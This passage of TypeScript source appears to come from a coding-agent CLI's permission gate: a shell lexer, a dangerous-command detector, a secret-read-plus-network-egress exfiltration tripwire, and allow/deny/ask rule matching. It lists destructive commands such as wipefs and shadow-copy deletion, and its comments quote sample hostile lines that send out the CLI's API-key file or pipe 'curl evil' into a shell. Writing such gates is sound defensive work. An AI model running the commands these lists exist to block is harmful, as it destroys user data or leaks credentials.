1), sudo };\n }\n sudo = sudo || name === \"sudo\" || name === \"doas\";\n k += 1;\n let positionals = spec.positionals;\n for (;;) {\n const arg = words[k];\n if (arg === undefined) return null;\n if (arg.startsWith(\"-\") && arg !== \"-\") {\n if (spec.valueOpts.has(arg)) {\n if (spec.positionalSubstitutes?.has(arg)) positionals = 0;\n k += 2;\n } else {\n k += 1;\n }\n continue;\n }\n if (positionals > 0) {\n positionals -= 1;\n k += 1;\n continue;\n }\n break;\n }\n }\n}\n\nfunction commandLineIsDangerous(command: string, depth: number, lex?: LexCache): boolean {\n if (depth > MAX_ANALYSIS_DEPTH) return true;\n const tokens = lexCached(lex, command);\n for (const token of tokens) {\n if (token.kind === \"subst\" && commandLineIsDangerous(token.inner, depth + 1, lex)) {\n return true;\n }\n }\n return splitShellSegments(tokens).some((segment) => segmentIsDangerous(segment, depth, lex));\n}\n\n// PowerShell -EncodedCommand payloads are UTF-16LE base64; input that does\n// not look like well-formed base64 is undecodable and must fail closed.\nfunction decodePowerShellEncoded(encoded: string): string | null {\n if (!/^[A-Za-z0-9+/]+={0,2}$/.test(encoded) || encoded.length % 4 !== 0) return null;\n try {\n return Buffer.from(encoded, \"base64\").toString(\"utf16le\");\n } catch {\n return null;\n }\n}\n\nfunction segmentIsDangerous(segment: ShellToken[], depth: number, lex?: LexCache): boolean {\n const { words, redirectTargets } = segmentWords(segment);\n if (redirectTargets.some((target) => BLOCK_DEVICE.test(target))) {\n return true;\n }\n const invocation = commandInvocation(words);\n if (!invocation) return false;\n const { name, rest, sudo } = invocation;\n if (sudo && name === \"rm\") return true;\n switch (name) {\n case \"shutdown\":\n case \"reboot\":\n case \"poweroff\":\n case \"halt\":\n case \"diskpart\":\n case \"wipefs\":\n case \"shred\":\n case \"format-volume\":\n case \"clear-disk\":\n case \"stop-computer\":\n case \"bcdedit\":\n case \"takeown\":\n case \"sdelete\":\n return true;\n case \"rm\":\n return rmIsDangerous(rest);\n case \"rmdir\":\n case \"rd\":\n case \"del\":\n case \"erase\":\n return rest.some((arg) => /^\\/s$/i.test(arg));\n case \"remove-item\": {\n let recursive = false;\n const targets: string[] = [];\n for (const arg of rest) {\n if (arg.startsWith(\"-\") && /^-r/i.test(arg)) {\n recursive = true;\n } else if (!arg.startsWith(\"-\")) {\n targets.push(arg);\n }\n }\n return recursive && targets.some(isDangerousDeleteTarget);\n }\n case \"format\":\n return rest.some((arg) => /^[a-z]:$/i.test(arg));\n case \"dd\":\n return rest.some(\n (arg) =>\n arg.startsWith(\"if=\") || (arg.startsWith(\"of=\") && BLOCK_DEVICE.test(arg.slice(3))),\n );\n case \"find\":\n return findIsDangerous(rest, depth, lex);\n case \"xargs\":\n return xargsIsDangerous(rest, depth, lex);\n case \"chmod\":\n return chmodIsDangerous(rest);\n case \"systemctl\":\n return rest.some((arg) => [\"poweroff\", \"halt\", \"reboot\"].includes(arg.toLowerCase()));\n case \"init\":\n return rest.some((arg) => arg === \"0\" || arg === \"6\");\n case \"vssadmin\":\n return (\n rest.some((arg) => /^delete$/i.test(arg)) && rest.some((arg) => /^shadows$/i.test(arg))\n );\n case \"wbadmin\":\n return rest.some((arg) => /^delete$/i.test(arg));\n case \"cipher\":\n return rest.some((arg) => /^\\/w/i.test(arg));\n case \"icacls\":\n return rest.some((arg) => /^\\/reset$/i.test(arg));\n case \"reg\":\n // HKLM writes affect the whole machine; the lexer strips backslashes\n // from unquoted words, so HKLM\\SOFTWARE arrives as HKLMSOFTWARE.\n return rest.some((arg) => /^delete$/i.test(arg)) && rest.some((arg) => /^hklm/i.test(arg));\n case \"sh\":\n case \"bash\":\n case \"zsh\":\n case \"dash\":\n case \"ash\": {\n const idx = rest.indexOf(\"-c\");\n const script = idx >= 0 ? rest[idx + 1] : undefined;\n return script !== undefined && commandLineIsDangerous(script, depth + 1, lex);\n }\n case \"eval\":\n return rest.length > 0 && commandLineIsDangerous(rest.join(\" \"), depth + 1, lex);\n case \"cmd\": {\n const idx = rest.findIndex((arg) => /^\\/[ck]$/i.test(arg));\n if (idx < 0) return false;\n const script = rest.slice(idx + 1).join(\" \");\n if (script.length === 0) return false;\n // cmd's escape character: `rmdir ^/s` parses as `rmdir /s`.\n return commandLineIsDangerous(script.replace(/\\^(.)/gs, \"$1\"), depth + 1, lex);\n }\n case \"powershell\":\n case \"pwsh\": {\n for (let k = 0; k < rest.length; k += 1) {\n const arg = rest[k] as string;\n if (/^-(c|command)$/i.test(arg)) {\n const script = rest.slice(k + 1).join(\" \");\n return script.length > 0 && commandLineIsDangerous(script, depth + 1, lex);\n }\n if (/^-(enc|encodedcommand)$/i.test(arg)) {\n const encoded = rest[k + 1];\n if (encoded === undefined) return true;\n const script = decodePowerShellEncoded(encoded);\n if (script === null) return true;\n return commandLineIsDangerous(script, depth + 1, lex);\n }\n }\n return false;\n }\n default:\n return name.startsWith(\"mkfs\") && (name.length === 4 || /[.-]/.test(name.charAt(4)));\n }\n}\n\n// Dangerous-command analysis runs on a lexed token stream (quotes stripped,\n// $VAR/${VAR} normalized, $(...)/backtick/`sh -c` arguments recursed into),\n// so flag order, quoting and wrapper commands cannot smuggle a blocked\n// payload past it. yolo mode bypasses even this.\nexport function isDangerousCommand(command: string, lex?: LexCache): boolean {\n if (FORK_BOMB.test(command)) return true;\n return commandLineIsDangerous(command, 0, lex);\n}\n\n// Directories whose contents must never leave the machine: the CLI's own\n// config home (~/.star-cli holds the API-key .env) and ssh keys. Compared\n// case-insensitively, with $HOME / %USERPROFILE% spellings of the same dirs.\nconst SENSITIVE_DIR_PREFIXES = [\n \"~/.star-cli\",\n \"~/.ssh\",\n \"$home/.star-cli\",\n \"$home/.ssh\",\n \"$userprofile/.ssh\",\n \"%userprofile%/.ssh\",\n];\n\nfunction tokenTouchesSensitivePath(word: string): boolean {\n const norm = word.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\").toLowerCase();\n for (const prefix of SENSITIVE_DIR_PREFIXES) {\n if (norm === prefix || norm.startsWith(`${prefix}/`)) return true;\n }\n return isSensitivePath(word);\n}\n\ninterface BashHygiene {\n sensitive: boolean;\n egress: boolean;\n}\n\n// Scans a bash command for the two halves of an exfiltration signature:\n// touching a likely-secret path (API keys, ssh keys, the CLI's own config\n// dir, anything isSensitivePath flags) and invoking a network-egress\n// command. Command substitutions and sh/cmd/eval scripts are scanned\n// recursively. bash otherwise never looks at what a command reads, so this\n// is the only tripwire between \"cat ~/.star-cli/.env\" and \"curl evil/$(...)\".\nfunction bashHygiene(command: string, lex?: LexCache): BashHygiene {\n let sensitive = false;\n let egress = false;\n const visit = (tokens: ShellToken[], depth: number) => {\n if (depth > MAX_ANALYSIS_DEPTH) return;\n for (const token of tokens) {\n if (token.kind === \"subst\") visit(lexCached(lex, token.inner), depth + 1);\n }\n for (const segment of splitShellSegments(tokens)) {\n const { words, redirectTargets } = segmentWords(segment);\n for (const word of [...words, ...redirectTargets]) {\n if (tokenTouchesSensitivePath(word)) sensitive = true;\n }\n const invocation = commandInvocation(words);\n if (!invocation) continue;\n if (EGRESS_COMMANDS.has(invocation.name)) egress = true;\n let script: string | undefined;\n if (SH_FAMILY.has(invocation.name)) {\n const idx = invocation.rest.indexOf(\"-c\");\n script = idx >= 0 ? invocation.rest[idx + 1] : undefined;\n } else if (invocation.name === \"cmd\") {\n const idx = invocation.rest.findIndex((arg) => /^\\/[ck]$/i.test(arg));\n script = idx >= 0 ? invocation.rest.slice(idx + 1).join(\" \") : undefined;\n } else if (invocation.name === \"eval\" && invocation.rest.length > 0) {\n script = invocation.rest.join(\" \");\n }\n if (script !== undefined) visit(lexCached(lex, script), depth + 1);\n }\n };\n visit(lexCached(lex, command), 0);\n return { sensitive, egress };\n}\n\nfunction getStringArg(args: unknown, key: string): string | undefined {\n if (typeof args === \"object\" && args !== null) {\n const value = (args as Record<string, unknown>)[key];\n if (typeof value === \"string\") {\n return value;\n }\n }\n return undefined;\n}\n\nfunction normalizeAbsolute(p: string, cwd: string): string {\n const abs = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n return abs.replace(/\\\\/g, \"/\").replace(/\\/+$/, \"\").toLowerCase();\n}\n\nfunction isOutsideCwd(p: string, cwd: string): boolean {\n const abs = normalizeAbsolute(p, cwd);\n const base = normalizeAbsolute(cwd, cwd);\n return abs !== base && !abs.startsWith(`${base}/`);\n}\n\n// Short-TTL (≤5s) caches for filesystem resolution, keyed by path string and\n// bounded so a long session cannot grow them without limit. The TTL is\n// deliberately brief because resolution is part of a security boundary: a\n// symlink swapped within the window keeps its old verdict — the accepted\n// trade-off for keeping repeated realpathSync calls (and multi-second\n// unreachable-UNC hangs) off the render thread.\nconst REALPATH_TTL_MS = 5_000;\nconst REALPATH_CACHE_MAX = 1000;\n\ninterface RealpathEntry {\n value: string | null;\n expires: number;\n}\n\n// Map iterates in insertion order: hits re-insert to stay recent, and a full\n// cache drops the oldest entry — a simple LRU.\nclass RealpathCache {\n private readonly map = new Map<string, RealpathEntry>();\n\n get(key: string): string | null | undefined {\n const entry = this.map.get(key);\n if (entry === undefined) return undefined;\n if (entry.expires <= Date.now()) {\n this.map.delete(key);\n return undefined;\n }\n this.map.delete(key);\n this.map.set(key, entry);\n return entry.value;\n }\n\n set(key: string, value: string | null): void {\n this.map.delete(key);\n if (this.map.size >= REALPATH_CACHE_MAX) {\n const oldest = this.map.keys().next().value;\n if (oldest !== undefined) this.map.delete(oldest);\n }\n this.map.set(key, { value, expires: Date.now() + REALPATH_TTL_MS });\n }\n}\n\nconst realpathCache = new RealpathCache();\nconst resolvedPathCache = new RealpathCache();\n\n// fs.realpathSync through the TTL cache; null means missing/unresolvable\n// (negative results are cached too — a not-yet-created file is re-asked on\n// every write attempt otherwise).\nfunction realpathCached(p: string): string | null {\n const hit = realpathCache.get(p);\n if (hit !== undefined) return hit;\n let value: string | null;\n try {\n value = fs.realpathSync(p);\n } catch {\n value = null;\n }\n realpathCache.set(p, value);\n return value;\n}\n\n// Resolves symlinks for a target: the file itself when it exists, otherwise\n// the nearest existing ancestor with the missing tail re-attached. Returns\n// null when nothing on the path can be resolved.\nfunction resolveRealPath(p: string, cwd: string): string | null {\n const start = path.isAbsolute(p) ? path.normalize(p) : path.resolve(cwd, p);\n const hit = resolvedPathCache.get(start);\n if (hit !== undefined) return hit;\n const value = resolveRealPathUncached(start);\n resolvedPathCache.set(start, value);\n return value;\n}\n\nfunction resolveRealPathUncached(start: string): string | null {\n // win32 UNC paths (\\\\host\\share\\...) hang for seconds per realpathSync when\n // the host is unreachable, and the per-component walk below would multiply\n // that by the path depth. Try the full path once; when it fails, judge the\n // boundary by the normalized spelling (the same string-based fallback the\n // unresolvable case has always used).\n if (process.platform === \"win32\" && start.startsWith(\"\\\\\\\\\")) {\n return realpathCached(start) ?? start;\n }\n let current = start;\n const missing: string[] = [];\n for (;;) {\n const resolved = realpathCached(current);\n if (resolved !== null) {\n return path.join(resolved, ...missing.reverse());\n }\n const parent = path.dirname(current);\n if (parent === current) return null;\n missing.push(path.basename(current));\n current = parent;\n }\n}\n\n// Outside-cwd check that sees through symlinks: a link inside cwd pointing\n// outside must be treated as outside — for write tools, and equally for read\n// tools, which otherwise leak outside files (e.g. a repo symlink pointing at\n// ~/.ssh) in auto mode. Falls back to the plain string check when the path\n// (or cwd) cannot be resolved.\nfunction isOutsideResolved(p: string, cwd: string): boolean {\n const resolved = resolveRealPath(p, cwd);\n if (resolved === null) return isOutsideCwd(p, cwd);\n const realCwd = realpathCached(cwd);\n if (realCwd === null) return isOutsideCwd(p, cwd);\n return isOutsideCwd(resolved, realCwd);\n}\n\nexport function checkPermission(\n mode: PermissionMode,\n req: PermissionRequest,\n ctx: PermissionContext,\n allowRules: readonly string[] = [],\n denyRules: readonly string[] = [],\n askRules: readonly string[] = [],\n): PermissionDecision {\n // yolo bypasses every check, including the hard safety rules below.\n if (mode === \"yolo\") {\n return \"allow\";\n }\n\n const command = getStringArg(req.args, \"command\");\n const filePath = getStringArg(req.args, \"path\");\n\n // One lexer memo shared by every bash stage below (dangerous-command\n // analysis, sensitive-path tripwire, allow/deny/ask rule matching), so the\n // command line and its substitution bodies are lexed once per check.\n const lex: LexCache | undefined =\n req.toolName === \"bash\" && command !== undefined ? new Map() : undefined;\n\n let bashTouchesSensitive = false;\n if (req.toolName === \"bash\" && command !== undefined) {\n if (isDangerousCommand(command, lex)) {\n return \"deny\";\n }\n const hygiene = bashHygiene(command, lex);\n // Secret read + network egress in one chain = exfiltration signature.\n if (hygiene.sensitive && hygiene.egress) {\n return \"deny\";\n }\n bashTouchesSensitive = hygiene.sensitive;\n }\n\n if (FILE_TOOLS.has(req.toolName) && filePath !== undefined) {\n const isWriteTool = req.toolName === \"write_file\" || req.toolName === \"edit_file\";\n if (isWriteTool && isSensitivePath(filePath)) {\n return \"deny\";\n }\n if (isOutsideResolved(filePath, ctx.cwd)) {\n if (mode === \"ask\" && req.level === \"read\") {\n return \"ask\";\n }\n return \"deny\";\n }\n }\n\n if (isDeniedByRules(denyRules, req, lex)) {\n return \"deny\";\n }\n\n if (mode === \"auto\") {\n // A likely-secret read on the command line always gets a human look in\n // auto mode; so does anything matching an explicit ask rule.\n if (bashTouchesSensitive) {\n return \"ask\";\n }\n if (isAskedByRules(askRules, req, lex)) {\n return \"ask\";\n }\n return \"allow\";\n }\n if (mode === \"readonly\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (mode === \"plan\") {\n return req.level === \"read\" ? \"allow\" : \"deny\";\n }\n if (isAskedByRules(askRules, req, lex)) {\n return \"ask\";\n }\n if (isAllowedByRules(allowRules, req, lex)) {\n return \"allow\";\n }\n return req.level === \"read\" ? \"allow\" : \"ask\";\n}\n\nexport function describeDecision(decision: PermissionDecision): string {\n switch (decision) {\n case \"allow\":\n return \"允许执行该操作\";\n case \"deny\":\n return \"拒绝执行:违反权限模式、硬性安全规则或配置的拒绝规则\";\n case \"ask\":\n return \"需要用户确认后才能执行\";\n }\n}\n","// Shell command lexer shared by the permission gate (dangerous-command\n// analysis) and allow/deny rule matching. Not a full POSIX grammar — just\n// enough structure that quoting, variable expansion and command/process\n// substitution can no longer hide what a command line actually runs.\n//\n// Word tokens have their quotes stripped and `$VAR` / `${VAR}` expansions\n// normalized to `$VAR` so callers can recognize well-known names ($HOME)\n// without caring about the spelling. The lexer never fails: unterminated\n// quotes or substitutions simply consume the rest of the input.\n\nexport type ShellOperator =\n | \"&&\"\n | \"||\"\n | \"&\"\n | \"|\"\n | \";\"\n | \"\\n\"\n | \"(\"\n | \")\"\n | \">\"\n | \">>\"\n | \"<\"\n | \">&\"\n | \"<&\";\n\nexport type ShellToken =\n | { kind: \"word\"; text: string }\n | { kind: \"op\"; op: ShellOperator }\n // `$(...)` / backticks (process:false) and `>(...)` / `<(...)`\n // (process:true) carry their inner command line for recursive analysis.\n | { kind: \"subst\"; inner: string; process: boolean };\n\nexport const REDIRECT_OPS: ReadonlySet<ShellOperator> = new Set([\">\", \">>\", \"<\", \">&\", \"<&\"]);\n\n// Redirects that touch a file (fd duplication like 2>&1 is harmless).\nexport const FILE_REDIRECT_OPS: ReadonlySet<ShellOperator> = new Set([\">\", \">>\", \"<\"]);\n\nconst SEGMENT_SEPARATORS: ReadonlySet<ShellOperator> = new Set([\n \"&&\",\n \"||\",\n \"&\",\n \"|\",\n \";\",\n \"\\n\",\n \"(\",\n \")\",\n]);\n\nexport function lexShell(command: string): ShellToken[] {\n const tokens: ShellToken[] = [];\n let word = \"\";\n let doubleQuoted = false;\n let i = 0;\n\n const flush = () => {\n if (word.length > 0) {\n tokens.push({ kind: \"word\", text: word });\n word = \"\";\n }\n };\n\n // Index just past the \")\" closing the \"(\" at `from`; -1 when unterminated.\n // Skips over quoted strings and nested parentheses.\n const findCloseParen = (from: number): number => {\n let depth = 0;\n let j = from;\n while (j < command.length) {\n const c = command[j];\n if (c === \"\\\\\") {\n j += 2;\n continue;\n }\n if (c === \"'\" || c === '\"') {\n const close = command.indexOf(c, j + 1);\n j = close === -1 ? command.length : close + 1;\n continue;\n }\n if (c === \"(\") depth += 1;\n if (c === \")\") {\n depth -= 1;\n if (depth === 0) return j + 1;\n }\n j += 1;\n }\n return -1;\n };\n\n const pushSubstitution = (openParen: number, process: boolean): number => {\n const close = findCloseParen(openParen);\n const innerEnd = close === -1 ? command.length : close - 1;\n flush();\n tokens.push({ kind: \"subst\", inner: command.slice(openParen + 1, innerEnd), process });\n return close === -1 ? command.length : close;\n };\n\n const lexDollarOrBacktick = (pos: number): number => {\n const c = command[pos];\n if (c === \"`\") {\n const close = command.indexOf(\"`\", pos + 1);\n const end = close === -1 ? command.length : close;\n flush();\n tokens.push({ kind: \"subst\", inner: command.slice(pos + 1, end), process: false });\n return close === -1 ? command.length : close + 1;\n }\n const next = command[pos + 1];\n if (next === \"(\") {\n return pushSubstitution(pos + 1, false);\n }\n if (next === \"{\") {\n const close = command.indexOf(\"}\", pos + 2);\n if (close !== -1) {\n word += `$${command.slice(pos + 2, close)}`;\n return close + 1;\n }\n word += \"$\";\n return pos + 1;\n }\n if (next !== undefined && /[A-Za-z_]/.test(next)) {\n let end = pos + 1;\n while (end < command.length && /[A-Za-z0-9_]/.test(command[end] ?? \"\")) {\n end += 1;\n }\n word += command.slice(pos, end);\n return end;\n }\n word += \"$\";\n return pos + 1;\n };\n\n while (i < command.length) {\n const c = command[i] as string;\n if (doubleQuoted) {\n if (c === '\"') {\n doubleQuoted = false;\n i += 1;\n } else if (c === \"\\\\\") {\n if (i + 1 < command.length) {\n word += command[i + 1];\n i += 2;\n } else {\n word += \"\\\\\";\n i += 1;\n }\n } else if (c === \"$\" || c === \"`\") {\n i = lexDollarOrBacktick(i);\n } else {\n word += c;\n i += 1;\n }\n continue;\n }\n if (c === \"\\\\\") {\n if (i + 1 < command.length) {\n word += command[i + 1];\n i += 2;\n } else {\n word += \"\\\\\";\n i += 1;\n }\n continue;\n }\n if (c === \"'\") {\n const close = command.indexOf(\"'\", i + 1);\n const end = close === -1 ? command.length : close;\n word += command.slice(i + 1, end);\n i = close === -1 ? command.length : close + 1;\n continue;\n }\n if (c === '\"') {\n doubleQuoted = true;\n i += 1;\n continue;\n }\n if (c === \"$\" || c === \"`\") {\n i = lexDollarOrBacktick(i);\n continue;\n }\n if (c === \" \" || c === \"\\t\" || c === \"\\r\") {\n flush();\n i += 1;\n continue;\n }\n if (c === \"\\n\") {\n flush();\n tokens.push({ kind: \"op\", op: \"\\n\" });\n i += 1;\n continue;\n }\n if (c === \"&\" || c === \"|\") {\n flush();\n if (command[i + 1] === c) {\n tokens.push({ kind: \"op\", op: c === \"&\" ? \"&&\" : \"||\" });\n i += 2;\n } else {\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n }\n continue;\n }\n if (c === \";\" || c === \"(\" || c === \")\") {\n flush();\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n continue;\n }\n if (c === \">\" || c === \"<\") {\n flush();\n const next = command[i + 1];\n if (next === \"(\") {\n i = pushSubstitution(i + 1, true);\n continue;\n }\n if (c === \">\" && next === \">\") {\n tokens.push({ kind: \"op\", op: \">>\" });\n i += 2;\n } else if (next === \"&\") {\n tokens.push({ kind: \"op\", op: c === \">\" ? \">&\" : \"<&\" });\n i += 2;\n } else {\n tokens.push({ kind: \"op\", op: c });\n i += 1;\n }\n continue;\n }\n word += c;\n i += 1;\n }\n flush();\n return tokens;\n}\n\n// Splits a token stream at command boundaries (&&, ||, &, |, ;, newlines and\n// subshell parens); empty segments are dropped.\nexport function splitShellSegments(tokens: ShellToken[]): ShellToken[][] {\n const segments: ShellToken[][] = [];\n let current: ShellToken[] = [];\n for (const token of tokens) {\n if (token.kind === \"op\" && SEGMENT_SEPARATORS.has(token.op)) {\n if (current.length > 0) {\n segments.push(current);\n current = [];\n }\n continue;\n }\n current.push(token);\n }\n if (current.length > 0) {\n segments.push(current);\n }\n return segments;\n}\n\n// Extracts the plain words of a segment, dropping redirection operators and\n// their targets (collected in `redirectTargets`). Substitution tokens are\n// skipped — callers analyze them separately.\nexport function segmentWords(segment: ShellToken[]): {\n words: string[];\n redirectTargets: string[];\n} {\n const words: string[] = [];\n const redirectTargets: string[] = [];\n for (let k = 0; k < segment.length; k += 1) {\n const token = segment[k] as ShellToken;\n if (token.kind === \"op\" && REDIRECT_OPS.has(token.op)) {\n const target = segment[k + 1];\n if (target?.kind === \"word\") {\n redirectTargets.push(target.text);\n k += 1;\n }\n continue;\n }\n if (token.kind === \"word\") {\n words.push(token.text);\n }\n }\n return { words, redirectTargets };\n}\n\n// Re-renders a segment for rule matching: words and operators joined with\n// single spaces (quotes and expansions were already normalized by the lexer).\nexport function renderSegment(segment: ShellToken[]): string {\n return segment\n .map((token) => {\n if (token.kind === \"word\") return token.text;\n if (token.kind === \"op\") return token.op;\n return token.process ? \">(…)\" : \"$(…)\";\n })\n .join(\" \");\n}\n","import { type ShellToken, lexShell } from \"./shell\";\n\n// Per-check memo for the shell lexer. One bash command passes through the\n// dangerous-command analysis, the sensitive-path tripwire and the\n// allow/deny/ask rule matchers inside a single checkPermission call, and each\n// stage used to re-lex the same command line (plus the same substitution\n// bodies and sh -c scripts during recursion). Keyed by command string, so\n// every stage and every recursive analysis of an identical script shares one\n// lex. The map is created per check and never escapes it, keeping\n// checkPermission a pure function of its arguments.\nexport type LexCache = Map<string, ShellToken[]>;\n\nexport function lexCached(cache: LexCache | undefined, command: string): ShellToken[] {\n if (cache === undefined) return lexShell(command);\n const hit = cache.get(command);\n if (hit !== undefined) return hit;\n const tokens = lexShell(command);\n cache.set(command, tokens);\n return tokens;\n}\n","import type { PermissionRequest } from \"./types\";\n\nexport interface AllowRule {\n toolName: string;\n pattern?: string;\n}\n\nexport function parseAllowRule(rule: string): AllowRule | null {\n const match = /^([\\w-]+)(?:\\((.*)\\))?$/.exec(rule.trim());\n if (!match) return null;\n return { toolName: match[1] as string, pattern: match[2] };\n}\n\nfunction globToRegExp(pattern: string): RegExp {\n const escaped = pattern.replace(/[.+?^${}()|[\\]\\\\]/g, \"\\\\$&\").replace(/\\*/g, \".*\");\n return new RegExp(`^${escaped}$`);\n}\n\nexport function requestTarget(req: PermissionRequest): string | undefined {\n if (typeof req.args !== \"object\" || req.args === null) return undefined;\n const args = req.args as Record<string, unknown>;\n const key = req.toolName === \"bash\" ? \"command\" : \"path\";\n const value = args[key];\n return typeof value === \"string\" ? value : undefined;\n}\n\nexport function matchAllowRule(rule: AllowRule, req: PermissionRequest): boolean {\n if (rule.toolName !== req.toolName) return false;\n if (rule.pattern === undefined) return true;\n const target = requestTarget(req);\n return target !== undefined && globToRegExp(rule.pattern).test(target);\n}\n\n// A rule with its glob pre-compiled; `pattern` stays undefined for bare\n// tool-name rules. RegExp construction was the repeated cost of rule\n// matching: it happened per rule per checked request.\nexport interface CompiledRule {\n toolName: string;\n pattern?: RegExp;\n}\n\nexport function compileRule(raw: string): CompiledRule | null {\n const parsed = parseAllowRule(raw);\n if (parsed === null) return null;\n if (parsed.pattern === undefined) return { toolName: parsed.toolName };\n return { toolName: parsed.toolName, pattern: globToRegExp(parsed.pattern) };\n}\n\n// Compiled rules keyed by the identity of the rules array. The config's\n// [permissions] tables are loaded once and reused for every checkPermission\n// call, so an unchanged array never recompiles; a rebuilt array (config\n// reload, the session's \"always allow\" list) misses once and re-caches, and\n// the WeakMap lets the old entry be collected with the old array.\nconst compiledRuleCache = new WeakMap<readonly string[], (CompiledRule | null)[]>();\n\nexport function compiledRules(rules: readonly string[]): (CompiledRule | null)[] {\n const hit = compiledRuleCache.get(rules);\n if (hit !== undefined) return hit;\n const compiled = rules.map(compileRule);\n compiledRuleCache.set(rules, compiled);\n return compiled;\n}\n\nexport function matchCompiledRule(rule: CompiledRule, req: PermissionRequest): boolean {\n if (rule.toolName !== req.toolName) return false;\n if (rule.pattern === undefined) return true;\n const target = requestTarget(req);\n return target !== undefined && rule.pattern.test(target);\n}\n","import { type LexCache, lexCached } from \"./lex-cache\";\nimport { compiledRules, matchCompiledRule, requestTarget } from \"./rules\";\nimport { FILE_REDIRECT_OPS, renderSegment, splitShellSegments } from \"./shell\";\nimport type { PermissionRequest } from \"./types\";\n\nexport type { AllowRule } from \"./rules\";\nexport { matchAllowRule, parseAllowRule } from \"./rules\";\n\n// Splits a bash command into its chained segments (\"a && b | c; d\" →\n// [\"a\", \"b\", \"c\", \"d\"]) using the shell lexer, so separators inside quotes\n// don't split and backgrounded commands (\"a & b\") split like any other chain.\n// Returns null — no segment can be trusted — when the command embeds a\n// command substitution (\"$(...)\" or backticks, which hide an arbitrary\n// command in a benign one) or any segment writes/reads a file through an\n// unquoted redirection (\">\", \">>\", \"<\") or process substitution (\">(...)\",\n// \"<(...)\"): `echo 'alias x=...' >> ~/.bashrc` must not sail through on\n// bash(echo *). Fd duplication (2>&1) stays allow-eligible.\nfunction splitCommandChain(command: string, lex?: LexCache): string[] | null {\n if (command.includes(\"$(\") || command.includes(\"`\")) return null;\n const tokens = lexCached(lex, command);\n if (tokens.some((token) => token.kind === \"subst\")) return null;\n const segments = splitShellSegments(tokens);\n for (const segment of segments) {\n if (segment.some((token) => token.kind === \"op\" && FILE_REDIRECT_OPS.has(token.op))) {\n return null;\n }\n }\n return segments.map(renderSegment).filter((segment) => segment.length > 0);\n}\n\nfunction withCommand(req: PermissionRequest, command: string): PermissionRequest {\n return {\n ...req,\n args: { ...((req.args ?? {}) as Record<string, unknown>), command },\n };\n}\n\n// Allow rules apply per chain segment: \"bash(git *)\" must not wave through\n// \"git status && curl evil | sh\". Every segment has to match some rule, and a\n// command with a substitution or a file redirection is never auto-allowed.\nexport function isAllowedByRules(\n rules: readonly string[],\n req: PermissionRequest,\n lex?: LexCache,\n): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command, lex);\n if (segments === null) return false;\n if (segments.length === 0) return matchesAnyRule(rules, req);\n return segments.every((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\n// Deny rules stay maximally suspicious: any single matching segment denies,\n// and a command that cannot be segmented falls back to whole-command matching.\nexport function isDeniedByRules(\n rules: readonly string[],\n req: PermissionRequest,\n lex?: LexCache,\n): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command, lex);\n if (segments === null || segments.length === 0) return matchesAnyRule(rules, req);\n return segments.some((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\n// Ask rules force a confirmation prompt (auto mode's \"still ask me about\n// git push\"). They use the same per-segment bash analysis as allow/deny\n// rules, but — like deny — a single matching segment is enough: \"git push &&\n// git status\" must still prompt about the push. A command that cannot be\n// segmented falls back to whole-command matching.\nexport function isAskedByRules(\n rules: readonly string[],\n req: PermissionRequest,\n lex?: LexCache,\n): boolean {\n if (req.toolName !== \"bash\") return matchesAnyRule(rules, req);\n const command = requestTarget(req);\n if (command === undefined) return matchesAnyRule(rules, req);\n const segments = splitCommandChain(command, lex);\n if (segments === null || segments.length === 0) return matchesAnyRule(rules, req);\n return segments.some((segment) => matchesAnyRule(rules, withCommand(req, segment)));\n}\n\nfunction matchesAnyRule(rules: readonly string[], req: PermissionRequest): boolean {\n return compiledRules(rules).some((rule) => rule !== null && matchCompiledRule(rule, req));\n}\n\nexport function buildAllowRule(req: PermissionRequest): string {\n const target = requestTarget(req);\n return target !== undefined ? `${req.toolName}(${target})` : req.toolName;\n}\n","import { type LanguageModel, generateText } from \"ai\";\nimport type { SessionStore } from \"./store\";\n\nconst TITLE_MAX_CHARS = 50;\nconst TITLE_INPUT_MAX_CHARS = 1000;\nconst TITLE_MAX_TOKENS = 20;\nconst TITLE_TIMEOUT_MS = 15_000;\n\nconst TITLE_SYSTEM_PROMPT = [\n \"You write short titles for conversations.\",\n \"Summarize the user's first message into a single concise title:\",\n \"- at most 50 characters\",\n \"- no surrounding quotes, no trailing punctuation\",\n \"- same language as the user's message\",\n \"Output only the title, nothing else.\",\n].join(\"\\n\");\n\nfunction sanitizeTitle(raw: string): string {\n let title = raw.trim().split(\"\\n\")[0]?.trim() ?? \"\";\n let previous: string;\n do {\n previous = title;\n title = title\n .replace(/^[\"'“”‘’「」『』\\s]+|[\"'“”‘’「」『』\\s]+$/g, \"\")\n .replace(/[。..!!??…::;;,,、\\s]+$/u, \"\");\n } while (title !== previous);\n return title.slice(0, TITLE_MAX_CHARS).trim();\n}\n\nexport async function generateSessionTitle(\n userText: string,\n model: LanguageModel,\n): Promise<string> {\n const { text } = await generateText({\n model,\n system: TITLE_SYSTEM_PROMPT,\n prompt: userText.slice(0, TITLE_INPUT_MAX_CHARS),\n maxTokens: TITLE_MAX_TOKENS,\n abortSignal: AbortSignal.timeout(TITLE_TIMEOUT_MS),\n });\n return sanitizeTitle(text);\n}\n\n// Fire-and-forget title generation: never throws, never blocks the caller,\n// and skips sessions that already have a title. An unfinished request is\n// bounded by TITLE_TIMEOUT_MS and may simply be dropped when the process\n// exits — the title just stays empty.\nexport function scheduleSessionTitle(\n store: SessionStore,\n userText: string,\n model: LanguageModel,\n): void {\n void (async () => {\n const meta = await store.meta();\n if (meta.title) return;\n const title = await generateSessionTitle(userText, model);\n if (!title) return;\n const current = await store.meta();\n if (current.title) return;\n await store.setTitle(title);\n })().catch(() => {});\n}\n","import { readFileSync, statSync } from \"node:fs\";\nimport path from \"node:path\";\n\nexport const PROJECT_MEMORY_FILE = \"AGENTS.md\";\nexport const PROJECT_MEMORY_MAX_CHARS = 32 * 1024;\n\ninterface CacheEntry {\n mtimeMs: number;\n 